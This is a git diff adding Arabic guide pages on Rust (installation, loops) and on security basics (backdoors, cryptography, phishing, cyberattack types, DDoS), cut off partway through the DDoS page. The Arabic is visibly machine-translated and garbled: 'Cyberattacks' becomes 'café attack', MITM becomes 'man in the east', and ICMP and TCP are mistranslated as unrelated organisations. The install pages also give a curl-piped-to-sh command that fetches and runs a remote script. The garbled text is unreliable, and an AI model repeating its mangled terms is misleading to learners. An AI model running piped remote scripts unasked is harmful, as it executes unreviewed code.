diff --git a/client/src/guide/arabic/rust/index.md b/client/src/guide/arabic/rust/index.md
new file mode 100644
index 0000000000..c167d5d8af
--- /dev/null
+++ b/client/src/guide/arabic/rust/index.md
@@ -0,0 +1,50 @@
+---
+title: Rust
+localeTitle: صدأ
+---
+# صدأ
+
+## المقدمة
+
+Rust هي لغة برمجة أنظمة تركز على ثلاثة أهداف: الأمان والسرعة والتوافق. يتيح لك تصميمه إنشاء برامج لها أداء وتحكم بلغة منخفضة المستوى ، ولكن مع التجريدات القوية للغة عالية المستوى. هذه الخصائص تجعل Rust مناسبًا للمبرمجين الذين لديهم خبرة في لغات مثل C ويبحثون عن بديل أكثر أمانًا ، بالإضافة إلى لغات من بيثون الذين يبحثون عن طرق لكتابة التعليمات البرمجية التي تؤدي بشكل أفضل دون التضحية بالتعبير. يدير Rust معظم قراراته المتعلقة بفحوصات السلامة وإدارة الذاكرة في وقت التجميع ، بحيث لا يتأثر أداء وقت تشغيل البرنامج. وهذا يجعله مفيدًا في عدد من حالات الاستخدام التي لا تكون فيها اللغات الأخرى جيدة في: البرامج ذات متطلبات المساحة والوقت المتوقع ، والتضمين بلغات أخرى ، وكتابة التعليمات البرمجية ذات المستوى المنخفض ، مثل برامج تشغيل الأجهزة وأنظمة التشغيل. كما تستخدم لتطبيقات الويب أيضا صلاحيات موقع التسجيل حزمة الصدأ ، [crates.io](https://www.crates.io) .
+
+لمزيد من المعلومات ، توجه إلى صفحة [Rust الرئيسية](https://www.rust-lang.org) .
+
+## التركيب
+
+يجعل مطورو الصدأ من السهل جدًا تثبيت وإدارة الصدأ على نظامك. ويتحقق ذلك من خلال أداة `rustup` التي تسمح لك ليس فقط بتثبيت صدأ مترجم الصدأ ، ولكن أيضًا التبديل بسهولة بين الإصدارات `rustc` ، `rustc` ، `rustc` الليلية من المجمع ، والاحتفاظ بها كلها محدثة.
+
+يمكن العثور على وثائق التثبيت الرسمية [هنا](https://doc.rust-lang.org/book/second-edition/ch01-01-installation.html) .
+
+### لينكس أو ماك
+
+إذا كنت تستخدم نظام التشغيل Linux أو Mac ، فمن الأفضل إجراء عملية تثبيت `rustup` من خلال المحطة الطرفية:
+
+ `$ curl https://sh.rustup.rs -sSf | sh 
+` 
+
+سيقوم هذا بتنزيل وتشغيل برنامج نصي على جهازك يقوم بتثبيت الأداة. يضيف برنامج التثبيت تلقائيًا خاصية Rust إلى نظام `PATH` بعد تسجيل الدخول التالي.
+
+### شبابيك
+
+في نظام التشغيل Windows ، انتقل إلى [موقع الويب الذي يحتوي](https://rustup.rs) على وضع [إيقاف التشغيل](https://rustup.rs) واتبع التعليمات لتنزيل `rustup-init.exe` . قم بتشغيل ذلك واتبع باقي التعليمات التي تقدمها لك.
+
+### تحديث
+
+بمجرد تثبيت `rustup` ، يكون التحديث إلى إصدارات أحدث بسيطًا. كل ما تحتاجه للتشغيل هو:
+
+ `$ rustup update 
+` 
+
+لعرض رقم الإصدار الحالي ، والتزام التجزئة ، وتاريخ التزام مترجم الصدأ ، قم بتشغيل الأمر التالي:
+
+ `$ rustc --version 
+ rustc xyz (abcabcabc yyyy-mm-dd) 
+` 
+
+### إلغاء تثبيت
+
+إلغاء تثبيت الصدأ من النظام سهل كما هو مثبت عليه:
+
+ `$ rustup self uninstall 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/rust/installing-rust/index.md b/client/src/guide/arabic/rust/installing-rust/index.md
new file mode 100644
index 0000000000..9064b7ae5b
--- /dev/null
+++ b/client/src/guide/arabic/rust/installing-rust/index.md
@@ -0,0 +1,32 @@
+---
+title: Installing Rust
+localeTitle: تثبيت الصدأ
+---
# تثبيت الصدأ
+
+يفضل استخدام `rustup` لتثبيت الصدأ. يثبت `rustup` ويدير الصدأ لنظامك.
+
+## تثبيت الصدأ في ويندوز
+
+قم بزيارة [موقع ويب rustup](https://rustup.rs) وقم بتنزيل ملف `rustup-init.exe` . تثبيته ومن ثم يجب أن تكون على استعداد للذهاب!
+
+## تثبيت الصدأ في أنظمة تشغيل أخرى (Mac OS X، Linux، BSD، Unix)
+
+افتح الطرفية الخاصة بك واكتب في هذا الأمر:
+
+ `curl https://sh.rustup.rs -sSf | sh 
+` 
+
+سيؤدي ذلك إلى جلب `rustup` تركيب `rustup` بدوره إلى جلب كل ما تحتاجه.
+
+# تركيب التحقق
+
+تثبيت `rustup` سيتم تثبيت كل شيء ذات الصلة للصدأ، ولكن معظم وثيق الصلة، وهذا يعني تثبيت مترجم ومدير مجموعة. للتحقق من تثبيت كل شيء ، قم بتشغيل هذا الأمر:
+
+ `cargo version 
+` 
+
+سوف تكون الآن قادرا على استخدام الصدأ!
+
+# معلومات اكثر
+
+لمعرفة المزيد حول عملية التثبيت ، تفضل بزيارة https://www.rust-lang.org/en-US/install.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/rust/loops/index.md b/client/src/guide/arabic/rust/loops/index.md
new file mode 100644
index 0000000000..dfae1d80b8
--- /dev/null
+++ b/client/src/guide/arabic/rust/loops/index.md
@@ -0,0 +1,57 @@
+---
+title: Loops
+localeTitle: الحلقات
+---
+# الحلقات
+
+داخل الصدأ هناك ثلاثة أنواع من آليات الحلقات المحلية: `loop` ، `while` ، `loop` `for` .
+
+## تكرار لانهائي مع `loop`
+
+في Rust ، ستستمر بنية `loop` تنفيذ كتلة من الشفرة الإعلانية إلى ما لا نهاية (أو حتى تخبرها صراحة بالتوقف).
+
+في ما يلي مثال على برنامج باستخدام `loop` لطباعة الكلمة "مرة أخرى" باستمرار إلى المحطة:
+
+ `fn main() { 
+    loop { 
+        println!("again!"); 
+    } 
+ } 
+` 
+
+## حلقات شرطية مع `while`
+
+الآلية المذكورة أعلاه ليست مفيدة للغاية ما لم نقدم نوعًا من شروط التوقف `loop` للتحقق منها. لحسن الحظ ، يحتوي Rust على بنية حلقات مدمجة تم استدعائها `while` الاستخدام ، والتي يمكنك استخدامها لتنفيذ كتلة من التعليمات البرمجية بشكل مستمر في حين أن بعض الشرط صحيح.
+
+في ما يلي مثال لبرنامج يستخدم `while` العد التنازلي من 5:
+
+ `fn main() { 
+    let mut number = 5; 
+ 
+    while number != 0 { 
+        println!("{}", number); 
+        number = number - 1; 
+    } 
+ } 
+` 
+
+قم بتشغيل الكود [هنا](https://play.rust-lang.org/?gist=62677371a8590be27c84dcae7068de57&version=stable) .
+
+## متكررة من خلال مجموعة مع `for`
+
+في بعض الحالات ، قد ترغب في التكرار والعمل على عناصر مجموعة (مثل صفيف). بينما يمكن تحقيق ذلك باستخدام `while` حلقة ومتغير مؤشر للوصول إلى كل عنصر، الصدأ يوفر `for` حلقة لجعل هذه العملية أسهل بكثير.
+
+هنا هو برنامج سبيل المثال أن يطبع كل رقم في صفيف إلى المحطة باستخدام `for` :
+
+ `fn main() { 
+    let collection = [15, 7, 2, 6, 9]; 
+ 
+    for element in collection.iter() { 
+        println!("the value is: {}", element); 
+    } 
+ } 
+` 
+
+قم بتشغيل الكود [هنا](https://play.rust-lang.org/?gist=0c2acf21b96a81ebd411e4a7dc5a19fd&version=stable) .
+
+مثل الكثير من `.iter()` في C ++ ، ترجع الدالة `.iter()` مكرر إلى `collection` ، والتي يمكن من خلال حلقات للوصول إلى كل `element` . لمزيد من المعلومات ، توجه إلى وثائق Rust حول [تدفق التحكم](https://doc.rust-lang.org/book/second-edition/ch03-05-control-flow.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/backdoors/index.md b/client/src/guide/arabic/security/backdoors/index.md
new file mode 100644
index 0000000000..90e3473eff
--- /dev/null
+++ b/client/src/guide/arabic/security/backdoors/index.md
@@ -0,0 +1,22 @@
+---
+title: Backdoors
+localeTitle: خلفي
+---
+## خلفي
+
+عادةً ما يكون الباب الخلفي في البرنامج أو نظام الكمبيوتر بوابة غير موثقة تسمح للمسؤول بإدخال النظام لتحري الخلل وإصلاحه أو القيام به. ولكنه يشير أيضًا إلى بوابة سرية يستخدمها المخترقون ووكالات الاستخبارات للحصول على الوصول غير المشروع.
+
+الباب الخلفي له معاني متعددة. يمكن أن يشير إلى نقطة وصول مشروعة مدمجة في نظام أو برنامج للادارة عن بعد.
+
+عموما هذا النوع من الباب الخلفي غير موثق ، ويستخدم لصيانة وصيانة البرمجيات أو النظام. محمية بعض backdoors الإدارية مع اسم المستخدم وكلمة المرور ضمنية التي لا يمكن تغييرها ؛ على الرغم من بعض استخدام أوراق الاعتماد التي يمكن تغييرها. في كثير من الأحيان ، فإن وجود الباب الخلفي غير معروف لصاحب النظام ولا يعرف إلا صانع البرنامج. تعمل الخلفية الإدارية المدمجة على إنشاء ثغرة أمنية في البرنامج أو النظام الذي يمكن للمتطفلين استخدامه للوصول إلى نظام أو بيانات.
+
+يمكن للمهاجمين أيضا تركيب باب خلفي خاص بهم على نظام مستهدف. القيام بذلك يسمح لهم بالدخول والخروج كما يشاؤون ويمنحهم إمكانية الوصول عن بعد للنظام. غالبًا ما يطلق على البرامج الضارة المثبتة على أنظمة لهذا الغرض اسم "طروادة" للوصول عن بعد ، أو RAT ، ويمكن استخدامها لتثبيت برامج ضارة أخرى على النظام أو لتصفية البيانات.
+
+اكتسبت backdoors من نوع آخر سمعة سيئة في عام 2013 عندما تسربت وثائق وكالة الأمن القومي إلى وسائل الإعلام من قبل المخبر إدوارد سنودن عن جهود استمرت على مدى عقود من قبل وكالة التجسس ، في شراكة مع GCHQ البريطانية ، للضغط على الشركات إلى تثبيت backdoors في منتجاتها. أنها تركز بشكل خاص على الضغط على صانعي أنظمة التشفير. هذه الخلفية السرية تسمح لوكالات الاستخبارات بالالتفاف على الحماية الأمنية أو تقويضها والوصول إلى الأنظمة والبيانات خلسة.
+
+وقد اشتملت إحدى الحالات الأكثر إثارة للجدل في الرد على الجهود التي يبذلها NSA لإضعاف عمدا خوارزمية التشفير المعروفة باسم NIST SP800-90 Dual Ec Prng بحيث تكون أي بيانات مشفرة مع الخوارزمية عرضة للتكسير من جانب وكالة الأمن القومي.
+
+### معلومات اكثر:
+
+*   ما هو مستتر: [Incapsula](https://www.incapsula.com/web-application-security/backdoor-shell-attack.html)
+*   المادة الباب الخلفي: [ويكيبيديا](https://en.wikipedia.org/wiki/Backdoor_(computing))
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/bug-bounties/index.md b/client/src/guide/arabic/security/bug-bounties/index.md
new file mode 100644
index 0000000000..d8720ea82b
--- /dev/null
+++ b/client/src/guide/arabic/security/bug-bounties/index.md
@@ -0,0 +1,19 @@
+---
+title: Bug Bounties
+localeTitle: علة المكافآت
+---
+## علة المكافآت
+
+Bounties Bug هي البرامج التي يتم إعدادها من قبل الشركات لتشجيع الناس على التحقق من منتجاتهم من نقاط الضعف. في المقابل ، تقدم هذه الشركات جوائز نقدية للثغرات المكتشفة.
+
+### فوائد لصائدي المكافآت
+
+فوائد لصائدي المكافآت واضحة إلى حد ما. يحصلون على أموال مقابل ما يجدونه ويحسنون مهاراتهم
+
+### فوائد للشركات
+
+كسب الشركات التي ترعى هذه البرامج عدة فوائد:
+
+*   من المرجح أن يجد الكثير من الأشخاص في منتجاتهم المزيد من الأخطاء أكثر من فريق ضمان الجودة النموذجي
+*   يجب أن تدفع فقط للنتائج ، وليس للوقت الذي يقضيه في محاولة للعثور على الخلل
+*   يشجع الأشخاص الذين يجدون نقاط الضعف لتحويلهم إلى الشركة وليس إلى السوق السوداء.
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/confidentiality-integrity-availability/index.md b/client/src/guide/arabic/security/confidentiality-integrity-availability/index.md
new file mode 100644
index 0000000000..3025a7ed30
--- /dev/null
+++ b/client/src/guide/arabic/security/confidentiality-integrity-availability/index.md
@@ -0,0 +1,70 @@
+---
+title: Confidentiality Integrity Availability
+localeTitle: سرية النزاهة توافر
+---
+## السرية والنزاهة والتوافر (CIA)
+
+تعد السرية والنزاهة والتوافر أو ثالوث السي آي إيه المفهوم الأساسي في مجال الأمن السيبراني. وهو بمثابة مبادئ توجيهية أو أهداف لأمن المعلومات للمنظمات والأفراد للحفاظ على المعلومات في مأمن من أعين المتطفلين.
+
+### سرية
+
+السرية هي ضمان أن يقتصر الوصول إلى البيانات على الجمهور المقصود فقط وليس على الآخرين. وكما تتوقع ، كلما كانت المعلومات أكثر حساسية ، كلما كانت التدابير الأمنية أكثر صرامة. تعتمد العديد من قوانين الخصوصية على ضوابط أمان السرية لفرض المتطلبات القانونية.
+
+بعض التدابير للحفاظ على سرية المعلومات هي:
+
+*   التشفير
+*   كلمه السر
+*   توثيق ذو عاملين
+*   بصمات
+*   الرموز الأمنية
+
+### النزاهة
+
+النزاهة يشير إلى الحفاظ على دقة واكتمال البيانات. وبعبارة أخرى ، يتعلق الأمر بحماية البيانات من التعديل بواسطة أطراف غير مصرح بها أو بطريق الخطأ من قبل جهات مخولة أو أحداث غير بشرية مثل النبض الكهرومغناطيسي أو تعطل الخادم. على سبيل المثال ، قد يقوم أحد المتسللين باعتراض البيانات وتعديلها قبل إرسالها إلى المستلم المقصود.
+
+تتضمن التدابير للحفاظ على سلامة المعلومات ما يلي:
+
+*   التشفير
+*   تجزئة
+*   عناصر تحكم وصول المستخدم
+*   اختبارية
+*   التحكم في الإصدار
+*   النسخ الاحتياطي
+
+### توفر
+
+وأخيرا ، يجب أن تكون المعلومات متاحة عندما تكون هناك حاجة إليها. لضمان توفر بيانات عالية ، يجب الحفاظ على الأجهزة والبرامج التي تعمل بشكل صحيح وتوفير نطاق ترددي كافٍ. لكن هذه التدابير وحدها لا تكفي لأن هناك قوى خارجية تلعب. يمكن أن يتأثر مدى توفر البيانات من خلال:
+
+*   رفض الخدمة (DoS)
+*   انقطاع التيار الكهربائي
+*   الكوارث الطبيعية
+
+على سبيل المثال ، قد يتم توظيف DoS من قبل شركة منافسة لكسر موقعك على الويب بحيث يصبح موقع الويب الخاص بها أكثر شعبية.
+
+تتضمن إجراءات تخفيف التهديدات للتوفر ما يلي:
+
+*   النسخ الاحتياطي خارج الموقع
+*   التعافي من الكوارث
+*   وفرة
+*   الفشل
+*   غارة
+*   مجموعات عالية التوافر
+
+### تحديات لثالث وكالة المخابرات المركزية
+
+تحديات خاصة لثالوث CIA:
+
+تشكل **البيانات الضخمة** تحديات إضافية لنموذج السي آي إيه بسبب الحجم الهائل من المعلومات التي تحتاج إلى حماية آمنة ، وتعدد المصادر التي تأتي منها وتنوع الأشكال التي توجد بها. يمكن لمجموعات البيانات المكررة وخطط التعافي من الكوارث أن تضاعف التكاليف المرتفعة بالفعل. علاوة على ذلك ، لأن الشاغل الرئيسي للبيانات الضخمة هو جمع وتقديم نوع من التفسير المفيد لكل هذه المعلومات ، فإن الرقابة على البيانات المسؤولة غالبًا ما تكون غير موجودة.
+
+**خصوصية إنترنت الأشياء** هي الاعتبارات الخاصة المطلوبة لحماية معلومات الأفراد من التعرض في بيئة إنترنت الأشياء ، حيث يمكن إعطاء أي كيان أو جسم مادي أو منطقي تقريباً معرِّفًا فريدًا وإمكانية الاتصال بشكل مستقل عبر الإنترنت أو ما شابه ذلك شبكة الاتصال. قد لا تتسبب البيانات المرسلة بنقطة نهاية معينة في أي مشكلات تتعلق بالخصوصية من تلقاء نفسها. ومع ذلك ، عندما يتم جمع البيانات المجزأة من نقاط النهاية المتعددة وتجميعها وتحليلها ، يمكن أن تسفر عن معلومات حساسة.
+
+يعتبر **أمان إنترنت الأشياء** أيضًا تحديًا خاصًا نظرًا لأن إنترنت الأشياء يتكون من العديد من الأجهزة التي تدعم الإنترنت بخلاف أجهزة الكمبيوتر ، والتي غالبًا ما تكون غير مزوَّدة وغالبًا ما يتم تهيئتها باستخدام كلمات مرور افتراضية أو ضعيفة. ويمكن استخدام أشياء الأشياء في إنترنت الأشياء ، على اعتبار أنها لا تحظى بحماية كافية ، كمتجهات هجوم منفصلة أو جزء من شيء. مع تطوير المزيد والمزيد من المنتجات بالقدرة على التوصيل بالشبكة ، من المهم أن تأخذ في الاعتبار بشكل روتيني الأمان في تطوير المنتج.
+
+### مزيد من المعلومات: [السرية والنزاهة والتوافر (CIA triad)](http://whatis.techtarget.com/definition/Confidentiality-integrity-and-availability-CIA)
+
+بخلاف ثالوث السي آي أيه ، هناك أيضا مواضيع أخرى متكررة في أمن المعلومات:
+
+*   عدم التنصل: ضمان أن شخصًا / شيئًا ما لا يستطيع إنكار شيء ما (على سبيل المثال لا يمكن لأحد أن ينكر صحة التوقيع الرقمي)
+*   المصادقة: إثبات أن الشخص هو الذي يدعي أنه
+*   الموثوقية: الثقة في أنه يمكن الاعتماد على نظام أو عملية
+*   الخصوصية: نظير عام من السرية والذي يعالج أيضًا النتيجة الاجتماعية لعدم تلبية المتطلبات
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/cryptography/index.md b/client/src/guide/arabic/security/cryptography/index.md
new file mode 100644
index 0000000000..382c9c0474
--- /dev/null
+++ b/client/src/guide/arabic/security/cryptography/index.md
@@ -0,0 +1,59 @@
+---
+title: Cryptography
+localeTitle: التشفير
+---
+## التشفير
+
+الهدف الأساسي من التشفير هو تمكين شخصين من التواصل عبر القناة غير الآمنة بطريقة لا يستطيع شخص ثالث فهم ما يقال. يمكن أن تكون هذه القناة خط هاتف أو شبكة كمبيوتر.
+
+بدأ استخدام التشفير من قبل الرومان من أجل جعل الرسائل في المعركة غير قابل للقراءة من قبل العدو إذا تم التخلص منها.
+
+كان التشفير قبل العصر الحديث مرادفا فعليا للتشفير ، وتحويل المعلومات من حالة مقروءة إلى هراء واضح.
+
+يُستخدم التشفير الحديث في البيانات بحيث يكون هناك طرف واحد فقط أو طرف معتمد فقط لديه القدرة على الوصول إلى المعلومات.
+
+أصبح التشفير على مر السنين أكثر تقدما.
+
+### مثال
+
+المعلومات التي يريد الشخص الواحد إرسالها إلى Person2 ، والتي نسميها "نص عادي" ، يمكن أن تكون نصًا ، أو بيانات رقمية ، أو أي نوع من البيانات على الإطلاق. يقوم Person1 بتشفير النص العادي ، باستخدام مفتاح محدد مسبقًا ، وإرسال "النص المشفر" الناتج عبر القناة. لا يمكن لـ Person3 ، عند رؤية النص المشفر في القناة ، تحديد ما هو النص العادي ، ولكن الشخص 2 ، الذي يعرف مفتاح التشفير ، يمكنه فك تشفير النص المشفر وإعادة بناء النص العادي.
+
+### قيصر سايفر (شيفت سايفر)
+
+وكان أول سايفر معروف هو سايفر قيصر. ceasar cypher يعمل عن طريق تحويل الحروف من "نص عادي" بمقدار معين لأعلى أو لأسفل في الأبجدية.
+
+من منظور الشخص الخارجي ، تظهر الرسالة على أنها أحرف عشوائية بمسافات بينهما.
+
+### التشفير الحديث
+
+يستخدم التشفير الحديث أرقامًا عشوائية تقريبًا ووظائف صوتية رياضية من أجل السماح بالاتصال الآمن. لا يمكن اختراق هذه المسارات التي تم تطويرها حديثًا بسهولة بسبب هيكلها ، مما يتطلب حتى أجهزة الكمبيوتر العملاقة حتى تصل إلى مئات السنين.
+
+هناك نوعان رئيسيان من التشفير الحديث:
+
+### 1) تشفير المفتاح المتماثل أو المفرد:
+
+تشفير المفتاح المتماثل هو طريقة تشفير حيث يستخدم كلا الطرفين مفتاح واحد فقط للتشفير وفك التشفير. هذه الخوارزميات ، بسبب تصميمها ، بشكل عام أسرع بكثير من تشفير المفتاح العام أو غير المتماثل.
+
+تتضمن بعض تقنيات التشفير المتماثلة: معيار تشفير البيانات (DES) ، معيار التشفير المتقدم (AES) ، Blow Fish ، وسمكتان ، RC4.
+
+### 2) غير متماثل أو مفتاح التشفير العام:
+
+توفر خوارزميات التشفير غير المتماثلة لكل مستخدم مفتاحين: أحدهما عام والآخر خاص. أي رسالة مشفرة بمفتاح واحد من الزوج لا يمكن فك تشفيرها إلا مع الأخرى.
+
+بعض التقنيات غير المتماثلة تشمل: RSA ، Diffie-Hellman ، DSS (Digital Signature Standard) ، ElGamal.
+
+### تجزئة التشفير
+
+تم تصميم معظم وظائف هاش التجفير لاتخاذ سلسلة من أي طول كمدخل وإنتاج قيمة تجزئة بطول ثابت.
+
+يجب أن تكون وظيفة تجزئة التشفير قادرة على تحمل جميع الأنواع المعروفة من هجوم cryptanalytic.
+
+### تجزئة التشفير
+
+دالة هاش التشفير هي نوع من وظيفة البعثرة المصممة لتكون وظيفة أحادية الاتجاه (دالة تستهلك الكثير من الوقت والموارد من أجل إجهاض القوة). الغرض الرئيسي من التجزئة يتعامل مع intregrity الرسالة ، لذلك نفس الرسالة تؤدي دائما إلى التجزئة نفسها.
+
+#### معلومات اكثر:
+
+*   [تشفير: النظرية والتطبيق من قبل دوجلاس ستينسون](https://www.crcpress.com/Cryptography-Theory-and-Practice-Third-Edition/Stinson/p/book/9781584885085)
+*   [TechTarget على التشفير](http://searchsecurity.techtarget.com/definition/encryption)
+*   [دليل تشفير](https://www.tutorialspoint.com/cryptography/index.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/cyberattacks/index.md b/client/src/guide/arabic/security/cyberattacks/index.md
new file mode 100644
index 0000000000..7bf9de78a8
--- /dev/null
+++ b/client/src/guide/arabic/security/cyberattacks/index.md
@@ -0,0 +1,36 @@
+---
+title: Cyberattacks
+localeTitle: هجوم المقهى
+---
+يشير الهجوم الإلكتروني إلى استغلال أو "قرصنة" أنظمة الكمبيوتر والبنى التحتية وشبكات الكمبيوتر و / أو أجهزة الكمبيوتر الشخصية باستخدام تعليمات برمجية ضارة. الهدف من الهجمات الإلكترونية في أكثر الأحيان هو سرقة المعلومات أو تعديلها أو إتلافها.
+
+يمكن أن يتراوح الدافع وراء شن الهجمات الإلكترونية من مالي إلى سياسي وأيديولوجي. هناك أيضا المتسللين الذين تسلل إلى أنظمة كشكل من أشكال الترفيه.
+
+يمكن استهداف الهجمات السيبرانية وعدم استهدافها ، وتختلف الآليات المستخدمة من قبل المتسللين. في هجوم مستهدف ، قد يستخدم المجرمون الإلكترونيون التصيد الاحتيالي ، حيث يتم إرسال البريد الإلكتروني المحتوي على شفرة خبيثة مخبأة في مرفق ملف إلى الأفراد المستهدفين. على سبيل المثال ، يمكن للشفرة الضارة تثبيت نفسها في الجهاز المستهدف وإرسال المعلومات مرة أخرى إلى منشئها. عندما يحدث ذلك ، نطلق على جهاز الضحية بوت نت أو كمبيوتر زومبي.
+
+يمكن أيضًا أن يكون الهجوم الإلكتروني غير مستهدف. المثال الكلاسيكي لمثل هذه الهجمات هو التصيّد الاحتيالي ، حيث يرسل المجرمون الإلكترونيون رسائل البريد الإلكتروني إلى مجموعة كبيرة من الأشخاص يتنكرون كمنظمة شرعية لتشجيع المستخدمين على مشاركة معلومات حساسة أو زيارة موقع إلكتروني زائف. بدلا من ذلك ، يمكن للهاكر اختراق موقع شرعي على الإنترنت وزرع البرمجيات الخبيثة (البرمجيات الخبيثة) التي يصاب الزائرون بها. في عام 2017 ، أصيب موقع الويب التابع للحكومة الأوكرانية ببرامج ضارة تمحو محركات الأقراص الثابتة للزائرين.
+
+واحدة من أكبر الهجمات الإلكترونية حتى الآن هي اختراق ياهو ، مما أثر على جميع حسابات المستخدمين البالغ عددها 3 مليارات مستخدم. كان الاختراق خطيرًا ، حيث كشف أسماء المستخدمين ، عناوين البريد الإلكتروني وأرقام الهاتف و DOB وكلمات المرور المشفرة وأسئلة الأمان غير المشفرة. هذا الهجوم يثبت أنه مهما كانت الشركة كبيرة ، لا يمكن لأحد أن يكون 100 ٪ أن بياناتهم آمنة.
+
+## الأنواع الشائعة من الهجمات السيبرانية
+
+*   البرمجيات الخبيثة
+*   الخداع
+*   هجوم حقن SQL
+*   استغلال الضعف
+*   البرمجة عبر المواقع (XSS)
+*   هجمات كلمة المرور
+*   هجمات رفض الخدمة (DoS)
+*   رجل في الشرق (MITM)
+*   إعادة استخدام الاعتمادات
+*   روغ البرمجيات
+*   التسمم ARP (شبكة Pentest)
+*   كلمة السر Bruteforce
+*   تضمين الملف المحلي / البعيد (Web App Pentest)
+*   مرجع كائن غير مباشر (IDOR)
+*   رفض الحرمان من الخدمة (DDoS)
+*   هجوم طروادة
+*   واي فاي الخداع
+*   التسمم DNS
+*   البريد الإلكتروني الغش
+*   KRACK (هجوم إعادة تثبيت المفتاح)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/cyberattacks/phishing/index.md b/client/src/guide/arabic/security/cyberattacks/phishing/index.md
new file mode 100644
index 0000000000..cdb2a8bde6
--- /dev/null
+++ b/client/src/guide/arabic/security/cyberattacks/phishing/index.md
@@ -0,0 +1,25 @@
+---
+title: Phishing
+localeTitle: الخداع
+---
+## الخداع
+
+التصيد هو شكل من أشكال الهجمات الإلكترونية التي تستخدم الهندسة الاجتماعية ، والتي تخدع المستخدم في تقديم تفاصيل شخصية للمهاجم ، مثل اسم المستخدم وكلمة المرور وأرقام بطاقات الائتمان ، غالبًا عن طريق التظاهر بأنها منظمة موثوق بها.
+
+غالبًا ما يرسل مجرمو الإنترنت رسائل البريد الإلكتروني التصيدية إلى عناوين البريد الإلكتروني العشوائية ، بحيث يمكن لأي شخص أن يصبح ضحية التصيّد الاحتيالي. ومع ذلك ، قد يختار المخترقون إطلاق هجوم تصيد في مؤسسة أو فرد معين في هجوم "التصيد الاحتيالي".
+
+يمكن أن يكون هجوم التصيّد من أي قناة اتصال ، من البريد الإلكتروني إلى المكالمات الهاتفية. قد تتلقى ، على سبيل المثال ، بريدًا إلكترونيًا يطلب منك تغيير كلمة المرور الخاصة بك بسبب خرق أمني. لبناء شعور بالثقة ، سيستخدم المجرمون الإلكترونيون نفس شعار وتصميم البريد الإلكتروني كتلك المنظمة التي يدعون أنها موجودة. هذا هو السبب في صعوبة اكتشاف رسائل البريد الإلكتروني الاحتيالية.
+
+لحماية نفسك من رسائل البريد الإلكتروني الاحتيالية ، يجب أن تبحث عن علامات مثل:
+
+*   البريد الإلكتروني لا يخاطبك باسمك. كما ذكرنا ، يرسل المتسللون رسائل بريد إلكتروني تصيد عشوائيًا وربما لا يعرفون اسمك الحقيقي.
+*   يحتوي البريد الإلكتروني على أخطاء نحوية أو إملائية
+*   يحتوي البريد الإلكتروني على روابط تؤدي إلى وجهة مختلفة عن النص. يمكنك التحقق من وجهة رابط دون النقر فوقه عن طريق الماوس فوق الرابط
+*   يبدو عنوان البريد الإلكتروني للمرسل وكأنه من مؤسسة موثوق بها ، ولكنها قد تكون مختلفة قليلاً. على سبيل المثال ، قد تتلقى رسالة بريد إلكتروني من `hello@goog1e.com` بدلاً من `hello@google.com` ، حيث يستخدم الأول الرقم `1` لاستبدال الحرف `l` .
+
+بينما تكون المكالمات الهاتفية الخادعة أقل شيوعًا ، يجب أن تكون دائمًا على علم بها. لن تقوم معظم الشركات الكبيرة بإجراء مكالمات هاتفية غير مرغوبة لعملائها ، لذا يجب عليك تطبيق التشكيك في أي مكالمات باردة تتلقاها.
+
+## معلومات اكثر:
+
+*   [SonicWall - اختبار الذكاء الخاص بك Phishing](https://www.sonicwall.com/en-us/phishing-iq-test)
+*   [Phishing.Org - أساليب التصيد الشائعة](http://www.phishing.org/phishing-techniques)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/ddos-denial-of-service-attacks/index.md b/client/src/guide/arabic/security/ddos-denial-of-service-attacks/index.md
new file mode 100644
index 0000000000..4660b47e8f
--- /dev/null
+++ b/client/src/guide/arabic/security/ddos-denial-of-service-attacks/index.md
@@ -0,0 +1,84 @@
+---
+title: DDoS Distributed Denial of Service
+localeTitle: DDoS الحرمان من الخدمة الموزعة
+---
+هجوم رفض الخدمة (DOS) هو عندما يحاول المهاجم تعطيل خدمات الخادم عن طريق قصفها بطلبات زائفة متعددة ومنع المستخدمين الفعليين من الوصول إلى الخدمة. هجوم دوس الموزع هو عندما يحدث الهجوم من عدة مواقع في وقت واحد ، مما يزيد من صعوبة قيام فريق الأمن الإلكتروني باكتشاف الهجوم ومعالجته.
+
+هجوم الحرمان من الخدمة الموزعة (DDoS) هو محاولة لجعل خدمة عبر الإنترنت أو موقع ويب غير متوفر من خلال التحميل الزائد عليه مع فيض ضخم من الزيارات الناتجة عن مصادر متعددة.
+
+على عكس هجوم رفض الخدمة (DoS) ، حيث يتم استخدام كمبيوتر واحد واتصال إنترنت واحد لإغراق مورد مستهدف بحزم ، فإن هجوم DDoS يستخدم العديد من أجهزة الكمبيوتر والعديد من اتصالات الإنترنت ، غالبًا ما يتم توزيعها عالميًا في ما يشار إليه بـ botnet .
+
+تستهدف هجمات DDoS عادةً الشركات الضخمة حيث يمكن أن يؤدي رفض الخدمة لبضع دقائق إلى خسارة ملايين الدولارات.
+
+هناك عدة أنواع من هجمات Ddos ويتم تحديد أفضل هجوم من خلال فحص نقاط الضعف في الهدف.
+
+### أنواع هجمات DDoS
+
+يمكن تصنيف هجمات DDoS على نطاق واسع إلى ثلاث فئات -
+
+1.  الهجمات على أساس الحجم
+2.  هجمات بروتوكول
+3.  هجمات طبقة التطبيق
+
+### الهجمات على أساس الحجم
+
+وتشمل الهجمات التي تعتمد على الحجم الفيضانات التي قام بها برنامج التعاون التقني والفيضانات التي تعمل بنظام UDP والفيضانات التي تنتجها اللجنة الدولية المعنية بالإنجابية (ICMP) والفيضانات الأخرى المزعجة. وتسمى أيضًا بـ Layer 3 & 4 \* Attacks. هنا ، يحاول مهاجم تشبع عرض النطاق الترددي للموقع الهدف. يتم قياس حجم الهجوم في بت في الثانية (bps).
+
+*   **UDP Flood** - يتم استخدام فيضان UDP لإغراق المنافذ العشوائية على مضيف بعيد مع العديد من حزم UDP ، وبشكل أكثر تحديدًا رقم المنفذ 53. يمكن استخدام جدران الحماية المتخصصة لتصفية أو حظر حزم UDP الضارة.
+    
